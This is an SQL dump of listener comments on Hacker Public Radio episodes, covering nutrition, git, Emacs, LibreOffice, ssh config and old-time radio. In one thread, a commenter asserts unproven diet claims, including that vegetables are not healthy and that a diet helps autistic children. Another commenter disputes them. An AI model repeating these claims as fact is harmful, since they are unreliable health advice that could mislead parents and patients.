(566,1149,'2012-12-28 15:27:09','FiftyOneFifty','Optimal zoom','You probably already went over this, but my pet peeve is word processors that default to a page view that only utilizes a third of the width of the screen, making text tiny, and people whose job it is to type up correspondence every day leave it that way because they don\'t know better.  I prefer \'optimal\' over \'page width\'; why would I want to see the white sace in the margins?','2017-09-09 07:41:23'),
(567,1152,'2013-01-08 13:45:44','Dude-man','Links I should have added to notes/mumble chat','I should have added these two links, related to nutionaly dense food we chatted about.\r\n\r\nhttps://westonaprice.org  \r\n\r\nhttps://realmilk.com','2022-02-14 13:16:29'),
(568,1156,'2013-01-08 13:44:01','Dude-man','What is healthy food','Really enjoying listening to the talk about food :) I love good food, my weekness or perhaps strength.\r\n\r\nWould love to get together with a few people and chat more in an HPR episode if anyone is interested.\r\n\r\nJust a few comments - :)\r\n\r\nSalt is inportant - but needs to be mineral rich not just processed sodium etc\r\n\r\nVegtables/fruits are not healthy per say, and shouldn\'t be emphasised. But like all food it needs to be processed appropriatly, most vegtables could be beter fermented, or/and consumed with lots of butter, whats more they taste so much better that way.\r\n\r\nGrass fed is started to be used like all the other terms to sell and make something sound better. But it does make a difference the percentage of grass/hay fed to cattle, 100 % being best IMHO, which we do with our cows. So ask awkward questions to know what grass fed actually means when you pay more money for it.\r\n\r\nNice conversations\r\n\r\nHeres the link to what I think is a great source of info for anyone interested in scientific studies done in the 1920/30\'s with actual people who lived on the foods for many generations. And documents what happened to them when they changed to modernized foods a few years later. Something I think most thoughfull geeks would appriciate instead of many of the crazy nutrunists go on about.\r\n\r\nhttps://westonaprice.org \r\nhttps://realmilk.com','2022-02-14 13:16:30'),
(569,1156,'2013-01-08 14:52:14','Stacy','Newtotheshow','The food talk deserves its own pod-cast, with the same guys. It almost got a tad argumentative, but in a good natural way.  I actually learned something. Hope they consider it in the future. I would defiantly listen. \r\n\r\nNot sure if it was an inside joke amongst the regulars, but the drunk guy \'web\' got really tiresome in part 5 and almost unbearable in part 6. I guess he\'s the boss, because it seems nobody wanted cut him off. Not all bad, thanks to the drunk guy I learned about crunchbang. What a cool distro! Other than that it was a great set of shows. \r\n\r\n\r\n','2017-09-09 07:41:23'),
(570,1156,'2013-01-15 18:02:45','pokey','','Stacy: Sorry about that. I didn\'t want to kick anyone. I just don\'t have it in me to hurt people\'s feelings, and I guess I was afraid that I would have done that.\r\n\r\nNo one\'s really in charge, but I was a moderator on the server at the time so it would have been up to me if it had needed to be done. There\'s a fine line between moderating and being the \"fun police\" and I really didn\'t want to be the latter. Most of us who were on the show know (or at least know of) one another, so that makes it even harder to be harsh. \r\n\r\nThere are a couple of us who have had one or two too many on an open mic recently (myself included), and you\'re right that it isn\'t any fun to listen to (especially when it\'s yourself, trust me...) even if it seems fun at the time. I don\'t personally mind if someone wants to drink on a podcast, but I\'ve decided not to do anymore, because I was rude, annoying and repetitive when I did it. Maybe that should be the cutoff for future community shows: If you sound as bad as pokey did that one time, you\'re out.\r\n\r\nI appreciate your feedback, and I do take it to heart. We\'ll try to do better next year.\r\n\r\nIf you want to suggest a more formal guideline, feel free to run it past the mailing list hpr@hackerpublicradio.org and we will certainly discuss it. Even better would be if you subscribed to the mailing list and discussed it with us also.','2017-09-09 07:41:23'),
(571,1158,'2013-01-12 09:48:11','Dude-man','More information for the interested','Well just listening back to myself and others about food etc and the FDA and fake,. bad and dishonest science in nutirition which effects our children. Heres a video, 2 hours and I\'d really sugest, encourage following along and following the leads for yourself.\r\n\r\nhttps://youtu.be/fvKdYUCUca8\r\n\r\n\r\n\r\nAnd of course \r\nhttps://westonaprice.com\r\nhttps://realmilk.com\r\n\r\nAnd another thing is learning dificulties and different degrees of Autisum which is growing now a days, there is a transitional diet, with much information of success in helping these children, and again not yet know in the mainstream https://www.westonaprice.org/childrens-health/gaps','2022-02-14 13:16:30'),
(572,1159,'2013-01-11 16:38:06','Charles in NJ','Thanks for Posting This','It sounds like we now have another new conversational direction for HPR.  I thought you did a great job of setting the table for what could be a series on the topic of food.\r\n\r\nYour show, coming as it does in the early part of the year, gives me an opportunity to do my own homework and check your statements.\r\n\r\nIf I find any new information that would shed light on this topic, I would now feel comfortable using HPR to make that available.\r\n\r\nMost of all, thanks for posting this as a first word in what could be a very interesting conversation.  It sounds like you\'ve done a lot of work and thinking about this fundamental topic.\r\n\r\nCheers!\r\n\r\nCharles in NJ','2017-09-09 07:41:23'),
(573,1159,'2013-01-12 09:50:25','Dude-man','Something else, more hard facts a video','Heres a video, 2 hours and I\'d really sugest, encourage following along and following the leads for yourself.\r\n\r\nhttps://youtu.be/fvKdYUCUca8\r\n\r\n\r\n\r\nAnd another thing is learning dificulties and different degrees of Autisum which is growing now a days, there is a transitional diet, with much information of success in helping these children, and again not yet know in the mainstream https://www.westonaprice.org/childrens-health/gaps','2022-02-14 13:16:30'),
(574,1159,'2013-01-13 20:39:36','Ken Fallon','Tales from the green valley','Hi All,\r\n\r\nI would recommend that everyone interested in this topic, take the time to watch the excellent \"Tales from the Green Valley\" which describes life on a British farm in the 17th century prior to industrialization. In the series has historians live the life, eat the diet and farm using the husbandry practices that were in use at the time. \r\n\r\nInterestingly everything described in the entire series is based on an account written in books and letters of people who actually lived at the time and who themselves documented their own lives. They make a point of giving the reference to the person who documented it and in what book or letter it was published. Unfortunately I didn\'t make note of each of the references but it would be fascinating resource to get the first hand accounts from people who lived the life and see how that compares to someone viewing it as a complete outsider.\r\n\r\nThe link to the series is here:\r\nhttps://www.petersommer.com/about-peter-sommer-travels/tales-from-the-green-valley\r\n\r\nKen.','2022-02-14 13:16:31'),
(575,1159,'2013-01-17 12:22:37','Dude-man','Re:Tales from the green valley','Just taking a look Ken, was wondering how exactly it was related to the episode, does the video support or appose/question any facts I mentioned, you wern\'t very specific ?','2017-09-09 07:41:23'),
(576,1159,'2013-01-17 12:47:55','Dude-man','Great examples of the past are historical re-enactments by book experts.','Just watched again these episodes on youtube... here are some thoughts.\r\n\r\n\"modern health and safty means they can\'t actually live here\"\r\n :)\r\n\r\nNice get a bunch of experts to try and recreate something, and prove its not possible.\r\n\r\nAn expert who\'s never actually plowed before :) oxen that are overweight and out of condition, I\'m talking about the tv people, not neccessarily the ox owners., just guessing as it is for TV after all.\r\n\r\nits really an interesting demonstation that even apparent experts can\'t quickly learn skills even though they are very exicited to try, and perhaps well meaning to at least recreate history., and create some TV at the same time\r\n\r\nwatching idiots chasing pigs was very funny :)\r\n\r\nbut still there is no mention of anything relating to my episode that I can see ?\r\n\r\nAre you trying to say that this serious shows that people can\'t go back to those times, as show and apparently demonstated in these self proclaimed experts playing at recreating somthing.? That wasn\'t what I thought I was saying in the episode, at least no my intention.\r\n\r\nAlthought the serious is interesting, I don\'t fully see how its related to my episde, or modern homesteading, other than to demonstate that modern people are pretty inept and out of touch about what is food, where it comes from, and what is good for them, and of course how to live in nature and produce their own food.\r\n\r\nI know Ken, as you explained to me you grew up on a small dairy farm in Irland and have experience, as I do, in mowing grass/milking etc and it didn\'t sound like you\'d ever want to go back, and the way you explained it I\'d have to agree with you, however I concioulsly chose to do it at the age of 30, relearn all the skills required using modern technology where appropriate and avantagous. Basicly bringing the knowledge about food and change in the shape of our children it effects to allow me or anyone else to make concious descitions as to how they want to live, not just seeing a crude historical re-inactment with no relation as to why they might want to return to any of the values of living with nature and having healthy food.\r\n\r\n','2017-09-09 07:41:23'),
(577,1159,'2013-01-19 06:05:28','Jacob Dalton','Hacking and Permaculture','Dude-Man I was wondering if you\'ve heard of Open Source Ecology--it\'s a project that is pretty much built out of hacking and permaculture.\r\n\r\nhttps://opensourceecology.org/','2022-02-14 13:16:31'),
(578,1159,'2013-01-19 10:29:19','Ken Fallon','RE: Great examples of the past are historical re-enactments by book experts.','Have you watched the entire series or did you dismiss it just because they were not allowed to sleep in a building that had been derelict for years ? Having watched the entire series your comments seem to contradict everything I got from the show. Even if you seem to think it\'s a crude historical re-enactment, I am very disappointed that you could not see past that and notice as I did that as the series progresses they each hone their particular skills. Case in point the Oxen and the men develop their muscles and take pleasure and satisfaction from the hard labour so that by the end the humans and animals had formed genuine bonds. \r\n\r\nHowever we are all entitled to our opinions so to make it clear, what I was trying to point out is that there is a wealth of information available to you on living with nature and having healthy food from the writings of peoples who lived prior to the onset of Industrialization. While you may mock the historians who like yourself were attempting to recreate the skills lost to time, the information they were basing their actions on was written by people who will have used those skills all their lives. Those peoples left detailed records of their traditions, practices, diets, technology describing how life was lived for centuries. If you can see past the reality show aspects, you might want to chase down the books that they mention in the show which should be out of copyright by now. There is probably an equivalent stock of literature available to you from the Czech Republic.\r\n\r\nIn your show you mentioned that the families were inaccessible in the winter, so I understand Weston A Price would have only seen the societies during a time of plenty. He may have seen them as healthy people and attributed it to their diet, which given he was only there for the summer would have been full of rich fatty foods. This would seem to agree with what the historians say the diet of a homesteader would have been in the summer. This would seem to back up your point of giving our children rich fatty foods as the evidence as presented would suggest that this would lead to health.\r\n\r\nHowever as the historians point out, during the winter their diet changed radically to the point of starvation. I don\'t know if Dr. Price took this into account or not but if you assume that he did then the advice to eat fatty foods should be given with the caveat that it should be for a short period of time and that you should also starve yourself for a significant portion of the year. If you wish to eat a pre-industrialised diet, then research that diet and present it in it\'s entirety with evidence from multiple sources. Sources which this television series proves are available to you.','2017-09-09 07:41:23'),
(579,1159,'2013-01-19 12:13:36','Dude-man','Sorry but you\'ve not studied much yet ?','Yes, to the best of my knowledge about a year ago, when I first came accross the whole BBC historical episodes, I watch the whole thing. Which is one of the problems with youtube, you can spend many hours watching everything in one go, loved it. And don\'t get me wrong I enjoyed it very much, have first hand learnt or at least tried many of the skills to varying degrees of success over the last 10 years, really about my whole journey is to actually comprehending technology, and I mean in its real definition of the word, hence why I started my own podcast on T E C H N O L O G Y and not just how techknology is being presented by computer/gadget tech journalism and sellers etc (Nothing against them, I love a bit of computer tech as much as the next man). \r\n\r\nThe reason I replied to you reference to these programs is that I didn\'t see exactly how it was related to the dietary information and the shapes and builds of children/adjults when different foods were eaten. The evidences I based the whole episode where in the notes, which you or anyone else is free to follow up and research into the actual information given. The food\'s and habits and hense health was already modified during those periods historically reconstructed in the BBC\'s series, and many of the practices were actually the start of what we now have and consider normal today. Also many of the practices shown are actually part of the reason why many people could be fooled into leaving the country side, where they should be healthy and happy, to the city from the false promise of an easy and more afluent life without the drudgery and ill health they HAD come to experience in the country side by actual BAD practices in order to sell often what was the best of their produce, cheaply to the city merchants so the country people could buy cheap low nutrient dense and stomach filling foods. \r\n\r\nIt seems to me that this is something more personal with you as your childhood background on an actual farm has convinsed you that its a bad way to live, and perhaps how you were doing it it was ? I don\'t know ? However when the clever people actually return to the country side, relearn the skills, judge in a balanced way how the old and new can be used together, and more importantly, which was the point of my presentation, actually understand what healthy food is, and educate and share the information to consumers can therefore actually sell direct (no merchants) and get a fair price which would mean they don\'t have to go down the path of continually cutting corners and chepening the food they may sell.\r\n\r\nBefore you quote me yet more things that you think I\'ve not read or don\'t understand, why don\'t you follow up on the information I\'ve shared and look more deeply at what is presented, these things I\'ve mentioned are beyound being merly my own opinion.\r\n\r\nI repeat, the journey towards industrializtion happened gradually, the cheapening of our foods, even in the coutry also was gradual, and in the societies you mention where documention was made these were subject to those slow changes. This is why the book by Weston A Price is such a treasure as he found and studied 14 groups who were isolated, to you understand the significance of that ? they were actually through necessaty following what they had done for many generations and hadn\'t been exposed by the gradual pressuers of external trade and merchants expoloytation which if you had the connections to the larger world would have effected all other peoples.\r\n\r\nAs for not having enough foods during winter time, you are talking nonsense, what you say may be true in that it actually happened. However understanding food technology, how hight quality foods can be harvested and stored for long periods, if you don\'t try and buy suger/coffee and other crap from merchants from presure of wifes or apparent perseption of luxsury, then people would/could of had more than enough food for themselves. Of course assuming the crazy burdon of taxes to cripple people and steal from them wasn\'t also in effect, forcing them to give up their wealth of good foood made from their own labour.\r\n\r\nI ask you kindly to actually study the two books or website I mention so you can avoid just sounding plain stupid, as your trying to defend you current life position, which I\'m not intentionally trying to undermine. This episode was to upset anyone, just allow anyone make a concious decision based on actual good science. If you look at the foods suggested to eat during religious fasting, for apparent clensing and the times of year these were eaten I can help us think a bit why these rules may have been made, when we understand what those foods actually do to us.\r\n\r\nHave you seen yet the 2 hour video I posted in the comments to these videos ?\r\n\r\nIf you feel so strongly about this, I\'d be happy to talk with you or record another episode with your help, or your wifes, you mention she\'d heard of the books. Otherwise I think it would be better to actually study what I mentioned and comment in relation to those things, not trying to proof that its somehow a burdemsom and toiling life with no meaning and something we can\'t go back to (I think we\'d never want to go back to those historyical times presented in the bbc serious) however there is something to learn and change in our current lifes.\r\n\r\n/END Rant','2017-09-09 07:41:23'),
(580,1159,'2013-01-19 12:29:58','Dude-man','reply to #6 - Jacob Dalton','Yes I\'d come accross opensource technology a few months ago, had a good look but was disapointed. While I love tech, all tech, what I love best is tech that serves us and is practical, I know its possible to get so into building something that we loose site of the forest for the trees, and actually spend all our time re-inventing something that already exists and can be bought cheaply second hand (a tractor, look at his plans for an ultra modern tractor), or not actually being balanced enough to realize that in many areas trying to solve everything with new technology actually negates the human, relationship, family participation and strengh of community gained by doing somethin conciously in a none-modern tech way.\r\n\r\nThe peace of mind, strengh of charictor, bond and depth of relation within family and society at large through picking conciously how we do thing based upon the effect they actually have on us. Which was my whole motivation and reason for developing my podcast, which to be honest I loose interest in a little, nothing personal against you or anyone else.\r\n\r\nA good example for who most of the weston world percieve and practice tech is the USA\'s space pen, millions, perhaps more money to develop a pen that can write upside down etc etc. The Rusians solution, less than a $, a pencil. Sometimes our heads can be so far up our own A?????\'s that we don\'t see the simple solution. \r\n\r\nAnd that is what I took away from that site, no offence meant.','2017-09-09 07:41:24'),
(581,1159,'2013-01-19 17:15:35','Ken Fallon','RE: Sorry but you\'ve not studied much yet ?','Hi Dude-man,\r\n\r\nAs we said on the New Year Show, HPR is about challenging and expanding the discussion and with that in mind what I would like to establish is an alternate source of information to either corroborate or refute the evidence Dr. Price presents. I accept that you are greatly affected by his works but not to challenge the theories would simply be unscientific and would elevate his book to that of a religious work that must be accepted on faith alone. Therefore I want to find a literate people who were isolated in a manner described by Dr. Price and who documented their own lives. By comparing both works we get a fuller picture of the truth.\r\n\r\nI am genuinely surprised that you would say that people in the 1600\'s were already affected by industrialization of the food chain. At the time the only industrialization would have be localized to water mills which were isolated and not available everywhere. The industrialization that you speak of is generally accepted to have started after 1760 a full hundred years after the time period in discussion in the show. \r\n\r\nDo you have a specific time period in mind where the type of life studied by Dr. Price would have been practiced on the Islands of Ireland or England ? The reason I focus on those is because those regions are the places where I am most familiar with and it would greatly assist in my ability to be able to call information to hand. I would appreciate it if you could keep your reply civil and avoiding drawing conclusions about other peoples live choices.\r\n\r\nRegards,\r\n\r\nKen.','2017-09-09 07:41:24'),
(582,1159,'2013-01-19 20:23:37','Dude-man','Confused','I\'d still suggest that you or anyone interested first look into the souces of information and the actual research that W A Price did do and present in lay persons language for the general good of normal people in his main book. If you consider this or anything I\'ve said religious in some way I\'m sorry for you about that, and you still seem to miss the point. Did you watch the 2 hour video I shared ?\r\n\r\nThe foods we eat are not only effected by the degree of visible industrialization in its production or pressesing, although that does later effect our foods in a very big way, but more importantly our foods and that which our ansesters ate, even back to roman times or perhaps later ? was effected by your position or status in life what you could afford or what you couldn\'t and perhaps actually choise to sell the best in order to by a larger quantity of something of less value or other things that might be anti foods in fact.  Industrialization has just made these foods and the effects much more obvious. A choice to eat predomantly low nutrient foods, grain, potatoes, rices, just a few examples and reduce the nutrient dense foods in diets, has happened throughout the ages, for perhaps simular reasons, but I\'m not a historian.\r\n\r\nSo which that I hope you understand the pointless ness in entering into some discussion, along your line of reasoning, as your missing the point through your current lack of knowlege of what actual food is good to eat, which foods would be preferable sold to markets and therefore depriving a family of the best nutrition no mater which time in history you care to look at. The isolated peoples had plenty, generally had little need to trade or aquire more expensive things at the cost of their valuable and priced foods, and that is the point.\r\n\r\nLets have a talk about it more, if your still interested, when you\'ve at least had chance to follow up the links, references, books, videos I mentioned. If they still interest you or anyone else ? I have nothing to proove, or to say which isn\'t said and stated clearly by more clever and respected people than me and after all the proof is in the pudding, which I and many people are already greatfull to around the world. And I\'m sure you know the origins of pudding has nothing to do with what we have come to think it means.\r\n\r\n','2017-09-09 07:41:24'),
(583,1159,'2013-01-20 08:30:03','Ken Fallon','RE: Confused','Hi Dude-man,\r\n\r\nI am not discussing the findings as yet because I have yet to get an independent verification of the work. I appreciate that is difficult but we should be at least able to determine what the selection criteria was for the sample groups studied by Dr. Price. Can you share with us what definition he assigned to determine that the \"isolated peoples\" were isolated enough. \r\n\r\nWould you accept that Ireland in the period of 400-800AD would meet the definition you give of \"The isolated peoples had plenty, generally had little need to trade or aquire[sic] more expensive things at the cost of their valuable and priced foods\". Ireland at the time was outside the sphere of Roman influence and had abundant resources. There is also a wealth of documents describing the diets and lives of it\'s people at the time.\r\n\r\nWould you agree that this is a suitable basis for comparison ?\r\n\r\nKen.','2017-09-09 07:41:24'),
(584,1159,'2013-01-20 10:01:49','Dude-man','Really ?','Really ? are you serious about this Ken ? take a look at the books follow the references there, you don\'t need me or anyone else to provide you what is already available. Your picking a pointless argument pretending to be all scientific about it, really ? \r\n\r\nIf you had one ounce the humility that many of the people involved in these researches had you\'d at least study openly what they\'ve provided, before asking for counter evidence. Have you studied the actual suplied evendence ? do you know what counter evidence your even asking for ?\r\n\r\nUnless you actually answer my ? in the replies above, read or watch the available information you just wasting your\'s, mine and everyones time, just study the information I\'ve shared and find counter arguments if you care to disprove something or have points to make.\r\n\r\nI repeat... \r\n\r\nLets have a talk about it more, if your still interested, when you\'ve at least had chance to follow up the links, references, books, videos I mentioned. If they still interest you or anyone else ? I have nothing to proove, or to say which isn\'t said and stated clearly by more clever and respected people than me and after all the proof is in the pudding, which I and many people are already greatfull to around the world. And I\'m sure you know the origins of pudding has nothing to do with what we have come to think it means.','2017-09-09 07:41:24'),
(585,1159,'2013-01-20 10:09:46','Dude-man','Is this the scientific method ?','Is this the scientific method ? Which I make no claim to understand or follow. I\'m just applying my common sense and reading as much and as many different opinions as possible. Seeing all the time which financial interests may be invested towards any particular opinions presented.\r\n\r\nIf you not going to discuss anything unless its been validated by an apparent offical scientific study, I do ask you to show me how the information in the video link I posted above is actually wrong and those studies which are the basis for the low fat/colestoral premise are all in correct, and we should be eating vegatble oil, lots of fruit and vegatables if we want to be healthy, as we are advised by offical scientific studies ? Please show me how the information in the video is a lie and I\'m wrong and religious as you say ?','2017-09-09 07:41:24'),
(3757,3856,'2023-05-30 23:48:56','=','toy soldiers','https://www.youtube.com/watch?v=BGag8Qllgnw','2023-06-01 10:06:11'),
(3758,3868,'2023-05-31 13:18:07','JWP','The News show','Hi I really liked the news show easy to follow.','2023-06-01 10:06:11'),
(3759,3872,'2023-06-08 19:02:50','Kevin O\'Brien','I\'m glad you are enjoying my shows','I didn\'tgo into a lot of detail on the older shows, but I can assure you I am going into more detail as the series goes on.','2023-06-08 20:54:44'),
(3760,3871,'2023-06-10 17:47:35','Mechatroniac','hpr3816','Hi Retro; \r\n\r\nSpot welding looks like an excellent way to connect new cells, I remember one video where someone used a couple of car batteries and a momentary switch and got really nice results.  \r\n\r\nHowever as these are already used cells, they will fail more quickly.  I\'ve had to replace a cell three times recently from the 20 cell battery that I\'ve been using about a year.  \r\n\r\nThe spot welding is harder to take apart, they come that way in factory made batteries and you have to pull or cut them off, which usually leaves some metal still attached.  For this reason it is better to use solder for older cells in my opinion.\r\n\r\nAs for safety, I am tempted to clamp my solder iron to a cell and leave it on maximum heat for 5 minutes to see what happens, probably nothing spectacular.  I only heat for about 10 seconds or so max because I don\'t want to damage it\'s capacity.  The metal of the cell itself acts as kind of a heat sink so it doesn\'t get as hot as a small component would, and soldering irons are built to melt solder. I\'ve done over 100 solders on to bare cells without mishap or loss in capacity. \r\n\r\nThe main danger is cutting yourself while taking apart a battery pack, the conductor strips are thin and very sharp when you cut them.  Other hazards are shorting stuff out with your metal cutter and seeing bright sparks. I once punctured one of the flat cells by accident and it started to get hot and smoke and smelled awful, but I can\'t see that happening with 18650s.','2023-06-10 17:51:39'),
(587,1161,'2013-01-15 23:37:05','pokey','This one was awesome!','This is what Hacker Public Radio is all about. Well done, Beto, and thank you.','2017-09-09 07:41:24'),
(588,1161,'2013-01-20 16:07:46','Ken Fallon','Google Service','Hi Beto,\r\n\r\nGreat show by the way. I had been looking into it myself but wasn\'t clear about something. Wouldn\'t it be possible for someone in Google to access your server as they maintain the key ? Not saying they would or anything but could you go into the privacy and security implications of this. \r\n\r\nKen. ','2017-09-09 07:41:24'),
(589,1164,'2013-01-17 12:33:01','cobra2','GIT!!!','NOM NOM NOM NEED MORE GIT! Kudos bud.','2017-09-09 07:41:24'),
(590,1164,'2013-01-20 16:03:10','Ken Fallon','Great show and Great Shownotes','Hoi Johan,\r\n\r\nWhat an excellent first episode. I found myself drawing the A and B branches until I twigged that your show notes has it all drawn out.\r\n\r\nWell done. \r\n\r\nKen.','2017-09-09 07:41:24'),
(591,1164,'2013-01-20 16:59:15','pokey','Another one for the history books!','This is a great episode. You did a fantastic job of explaining the basic idea of git, and why someone would want to use it instead of being ugly and stupid. Well done, JohanV. \r\n\r\nMOARRRRR!!!!','2017-09-09 07:41:24'),
(592,1166,'2013-01-22 18:26:01','klaatu','Timely','I /just/ set up an internet radio station! I\'ve been custom-rolling some scripts to semi-automate it and have also been looking into MPD which my friend Delwin told me can now pipe to icecast. This episode is great and couldn\'t have happened at a better time! thanks!','2017-09-09 07:41:24'),
(593,1166,'2013-01-30 16:58:45','Greg Hauenstein','Airtime is great','I\'m a huge fan and can\'t wait to use it in a future project.','2017-09-09 07:41:24'),
(594,1166,'2013-03-05 19:28:52','Jonathan Inge','','Thanks for the info. I run an Internet radio station for a college and have been looking for free, functional, easy-to-use automation software.','2017-09-09 07:41:24'),
(595,1175,'2013-02-09 00:04:03','Peter64','Good stuff','Thanks Lord D, been wanting to know something like this for ages','2017-09-09 07:41:24'),
(596,1178,'2015-03-29 10:12:37','Tomas','Broken links','The link to the videos from the FSCON interviews appear to be broken. The link to Laura Creighton seem broken as well.','2017-09-09 07:41:24'),
(597,1183,'2013-02-13 21:48:56','Heisenbug','','Good show.','2017-09-09 07:41:24'),
(598,1183,'2013-02-13 23:03:46','quvmoh','','Looks like the Boise Lug notes have not caught up with this episode.\r\n\r\n   steam games https://store.steampowered.com/browse/linux/\r\n\r\n','2022-02-14 13:16:32'),
(599,1183,'2013-02-19 03:12:33','quvmoh','notes updated','https://www.boiselug.org/node/199','2022-02-14 13:16:32'),
(600,1184,'2013-02-14 22:26:12','Jonathan Nadeau ','Thank you','Hey Guys thanks for the kind right up. Thanks to all that have pledged and made this possible so far. HPR ROCKS! ','2017-09-09 07:41:24'),
(601,1184,'2013-02-16 22:49:10','Jonathan Nadeau ','update ','I just wanted to let everyone know that we are down to only needing 851 more pledges!','2017-09-09 07:41:24'),
(602,1184,'2013-02-18 00:29:04','Jonathan Nadeau','update with the campaign ','We are now down to needing 592 more pledges to meet the 1000 pledges at $5!','2017-09-09 07:41:24'),
(603,1184,'2013-02-18 17:02:59','davijordan','','You should be able to get around having a monitor at boot time maybe with one of these.\r\n\r\nhttps://www.xtremesystems.org/forums/showthread.php?200444-DVI-to-VGA-Dummy.....56K!\r\n\r\nhttps://blog.zorinaq.com/?e=11','2022-02-14 13:16:32'),
(604,1184,'2013-02-20 07:32:25','William','Hmm','While listening I couldn\'t help but think it would be much easier for blind people to use a command prompt and lynx-like applications.  Perhaps money would be better spend building text based apps for whatever it is that blind folks would like.  A text based twitter client specialized for the disabled, stuff like that?\r\n\r\nTabbing through 2d laid out forms - is that really the best way to be doing this?\r\n\r\nI\'m not blind, but back in the day, I was able to use Windows 95 without a screen to do a few simple things, such as change screen resolution.  And it\'s cool that people who do this a lot get really good at it, but most people shouldn\'t have to install so many times that they\'d get really good at using a GUI without being able to see it.\r\n\r\nAlso on indiegogo the figure of 1 billion people with disabilities is mentioned.  Are there really that many people disabled to the point where they need a special operating system?  I admire the project and its goals, but is that not overstating the problem unnecessarily? \r\n\r\nI apologize if this sounds harsh.  I plan on donating and wish the project luck.','2017-09-09 07:41:24'),
(605,1185,'2013-02-18 05:43:21','pokey','Great episode','Maybe I\'m just biased, because I\'m a big fan of Jezra, NYBill and Shooting the Breeze, but I don\'t think so. This was a lot of fun to listen to. I nominate Jezra and NYBill to be our annual prediction show guys, and if they decide to shoot the breeze, then so be it.','2017-09-09 07:41:24'),
(606,1187,'2013-02-20 14:37:44','klaatu','Emacs as a daemon whut!?','Oh my gosh, that is brilliant. I am going to start doing that right now! Thank you so much for the tip!','2017-09-09 07:41:24'),
(607,1187,'2013-02-21 16:29:14','Garjola','Emacs daemon, yes but ...','Just one thing. I like running emacs as a daemon, but it may not always be convenient, since emacs is not multi-threaded. Therefore, you will have several frames using the same emacs process, and this is not what you want if one of you emacs applications (org-mode, gnus, etc.) are going to do CPU intensive stuff!','2017-09-09 07:41:24'),
(608,1188,'2013-02-21 21:58:56','klaatu','Two emacs shows in a row','Two emacs shows in a row. Somebody up there must like Emacs.','2017-09-09 07:41:24'),
(609,1190,'2013-02-24 03:17:36','Jon Kulp','LibreOffice','I\'m enjoying your series on LibreOffice. Last semester I spent about 90 minutes talking to my graduate students about styles in word processing, and once they understood what it was all about they were completely blown away by the power of it. They kept asking me, \"why has no one ever told us about this before?\" I have a couple of screencasts about using regular expressions in LibreOffice in case you are interested. Go to YouTube and search for \"jonkulp\" and \"libreoffice\" and you will find them. One of them has what I feel is a pretty magical transformation of a multiple-choice test from one layout style to another using some regex. Anyway I am looking forward to your future episodes.','2017-09-09 07:41:24'),
(610,1197,'2013-03-05 21:58:06','klaatu','cool stuff','Wow, that\'s some amazing stuff. I like the markdown2latex a lot! I\'d love to hear more from you on HPR about how/if Linux plays into your \"day job\" and what you use as a music hist professor','2017-09-09 07:41:24'),
(611,1197,'2013-03-06 17:26:15','Ken Fallon','Welcome Welcome','Hi Jon,\r\n\r\nGreat episode and great topic. I could listen to shows on scripts all day !.\r\n\r\nOne thing though is that the stick script could also be done using youe ~/.ssh/config file. See https://hackerpublicradio.org/eps.php?id=0386\r\n\r\nKen.','2022-02-14 13:16:33'),
(612,1197,'2013-03-07 21:56:59','Frank','Thank you','I want to learn more about bash, and just doing stuff because it\'s in a tutorial doesn\'t excite me.  I have been looking for some ideas for scripts to write for myself to help motivate me to learn, and you gave me some good ones.\r\n\r\nBy the way, you are not the only person who grapples with selecting a topic for a podcast.  Don\'t feel alone in that.','2017-09-09 07:41:24'),
(613,1197,'2013-03-21 16:00:59','Bradley','ssh_config','Ken beat me to it, but you can alias SSH hosts, specify keys, usernames, ports, almost any command line parameters using the ~/.ssh/config file. See man ssh_config for details. \r\n\r\nI use it with some password-less ssh keys to allow me to move about my ssh hosts seamlessly. Not too safe I know..\r\n\r\nI\'ve also found it useful to add port forwarding to make an ssh proxy to my home network. All to evade my company\'s decency filters when necessary.. I mean to proxy from an insecure location.\r\n\r\nThanks for the interesting podcast.','2017-09-09 07:41:24'),
(614,1197,'2013-03-21 20:48:02','Urugami','Great Episode','Jon, thanks for the great script ideas.  Between your scripts and ones that were linked in links and links, etc, I may be able to tweak a few of my own.','2017-09-09 07:41:24'),
(615,1197,'2013-09-27 22:07:00','Dangerseeker','LaTeX and UTF8','Hello,\r\n\r\nI really liked this episode, because it showed how to use the power of bash to simply make your life easier.\r\n\r\nAnd I am happy to inform you that LaTeX handles UTF8 characters just fine, I use them every day. ;-)\r\n\r\nJust import the package \"inputenc\" with the option \"utf8\" and it should work like magic:\r\n\r\n\\usepackage[utf8]{inputenc}\r\n\r\n\r\nThank You for the entertaining podcast\r\n\r\nDangerseeker','2017-09-09 07:41:24'),
(616,1198,'2013-03-17 05:36:31','kt4kb_Jon','The Witch Hunter Chronicles','The Witch Hunter Chronicles: Great!!!!!','2017-09-09 07:41:24'),
(617,1199,'2013-03-08 03:42:50','Frank','','There has to be some kind of synergy in my recording having been posted right after Lostnbronx\'s, in which he talked of  OTR.\r\n\r\nYeah, I know, commenting on my own stuff etc.','2017-09-09 07:41:24'),
(618,1199,'2013-09-14 02:16:14','Jamison','This is Sweet :) Thanks Frank+ ','I plan on spending sometime at these sites ;) \r\n\r\nVLC and its plugin for Firefox (along with DownloadHelper especially for when I want to DL and speed media up to take more in like I see oldradioworld lets me) works good for me on most *nix flavors for almost any .format\r\n\r\nHappy Listening','2017-09-09 07:41:24'),
(619,1199,'2013-09-20 21:51:55','Muskrat Bill  ','myoldradio.com ','Hello Frank...I love OTR...been listening to old radio shows since the early 70\'s.\r\nQuestion...I have been using the myoldradio.com site for years with no problem. A few days ago I started getting red security alerts from my anti virus programs. They say there is a serious malware threat. Have you heard anything about this? I really miss that site as they have a huge \"information please\" collection...one of my favorites. I welcome any info you can provide.','2017-09-09 07:41:24'),
(620,1199,'2014-07-26 18:29:59','Don Frey','','Cannot register, forgot password\r\nbut it has not been sent.','2017-09-09 07:41:24'),
(621,1199,'2014-08-08 13:46:56','Mike Ray','OTR','Greate show Frank.  Good to hear passion about a favourite subject.  Night Beat is one of my favourites, followed by Richard Diamond and any other of the gumshow type shows.  Always makes me smile to hear how things have changed, like the tobacco advertising and sponsorship in the later episodes of Richard Diamond.  Rightly not allowed today','2017-09-09 07:41:24'),
(622,1203,'2013-03-13 23:07:17','Klaatu','Checkmate','I told you all that Chess  would be back. NOW do you believe me??','2017-09-09 07:41:24'),
(623,1203,'2014-03-14 18:50:50','Steve Kemp','Thanks for your templer coverage','It is nice to see other people seeing/using templer, and bug reports/suggestions are always welcome.\r\n\r\n','2017-09-09 07:41:24'),
